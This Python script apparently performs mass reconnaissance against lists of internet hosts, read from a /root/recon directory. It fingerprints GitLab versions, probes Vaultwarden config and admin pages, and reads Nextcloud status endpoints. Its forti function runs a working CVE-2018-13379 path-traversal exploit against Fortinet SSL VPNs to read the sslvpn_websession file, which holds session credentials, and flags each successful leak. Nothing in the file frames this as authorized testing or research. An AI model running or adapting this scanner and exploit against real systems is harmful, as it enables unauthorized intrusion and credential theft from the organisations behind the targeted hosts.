import asyncio, re
import aiohttp

TITLE = re.compile(r"(?is)<title[^>]*>\s*(.*?)\s*</title>")
GVER = re.compile(r"(?i)gitlab\s+(?:community|enterprise)\s+edition\s+(\d+\.\d+\.\d+)")
SEM = asyncio.Semaphore(25)


def load(name):
    out = []
    try:
        f = open(f"/root/recon/lists/{name}.txt")
    except FileNotFoundError:
        return out
    for line in f:
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def get(sess, url, allow=True):
    async with sess.get(url, allow_redirects=allow, ssl=False) as r:
        raw = await r.content.read(40000)
        return r.status, raw.decode("utf-8", "replace")


async def gitlab(sess, ip, port, sc):
    st, t = await get(sess, f"{sc}://{ip}:{port}/users/sign_in")
    m = TITLE.search(t)
    title = re.sub(r"\s+", " ", m.group(1))[:50] if m else ""
    mv = GVER.search(t)
    st2, t2 = await get(sess, f"{sc}://{ip}:{port}/")
    mv2 = GVER.search(t2)
    return {"title": title, "ver": (mv or mv2).group(1) if (mv or mv2) else "", "root": st2}


async def vault(sess, ip, port, sc):
    st, t = await get(sess, f"{sc}://{ip}:{port}/api/config")
    keep = {k: v for k, v in re.findall(r'"(signupAllowed|invitationsAllowed|version|adminEmail|ssoAllows|signupDomains)"\s*:\s*("[^"]*"|[a-z]+)', t)}
    st2, t2 = await get(sess, f"{sc}://{ip}:{port}/admin")
    m = TITLE.search(t2)
    return {"cfg": keep, "admin": st2, "admin_title": (re.sub(r"\s+", " ", m.group(1))[:40] if m else "")}


async def nextc(sess, ip, port, sc):
    st, t = await get(sess, f"{sc}://{ip}:{port}/status.php")
    st2, t2 = await get(sess, f"{sc}://{ip}:{port}/")
    m = TITLE.search(t2)
    return {"status_code": st, "status": re.sub(r"\s+", " ", t)[:160],
            "title": re.sub(r"\s+", " ", m.group(1))[:50] if m else "",
            "rc": re.search(r'"release"\s*:\s*"([^"]+)"', t).group(1) if re.search(r'"release"\s*:\s*"([^"]+)"', t) else ""}


async def forti(sess, ip, port, sc):
    # CVE-2018-13379 style path traversal: read sslvpn_websession
    url = f"{sc}://{ip}:{port}/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
    try:
        st, t = await get(sess, url)
    except Exception as e:
        return {"err": type(e).__name__}
    ok = "var fgt_lang" in t or "sslvpn" in t.lower()
    body = re.sub(r"\s+", " ", t)[:60]
    return {"code": st, "len": len(t), "leak": "YES" if (st == 200 and ok) else "", "body": body}


async def main():
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    tout = aiohttp.ClientTimeout(total=14, connect=7, sock_read=9)
    hdr = {"User-Agent": "Mozilla/5.0"}
    res = {}
    async with aiohttp.ClientSession(connector=conn, timeout=tout, headers=hdr) as sess:
        async def run(kind, items, fn):
            async def one(it):
                async with SEM:
                    try:
                        return it, await fn(sess, *it)
                    except Exception as e:
                        return it, {"err": type(e).__name__}
            res[kind] = await asyncio.gather(*[one(i) for i in items])
        await asyncio.gather(
            run("gitlab", load("gitlab"), gitlab),
            run("vaultwarden", load("vaultwarden"), vault),
            run("nextcloud", load("nextcloud") + load("owncloud"), nextc),
            run("fortinet", load("fortinet"), forti),
        )
    lines = []
    for kind, rows in res.items():
        for (ip, port, sc), r in rows:
            lines.append(f"{kind}\t{ip}\t{port}\t{sc}\t{r}")
    open("/root/recon/verify2.tsv", "w").write("\n".join(lines))
    print("done", len(lines))


asyncio.run(main())
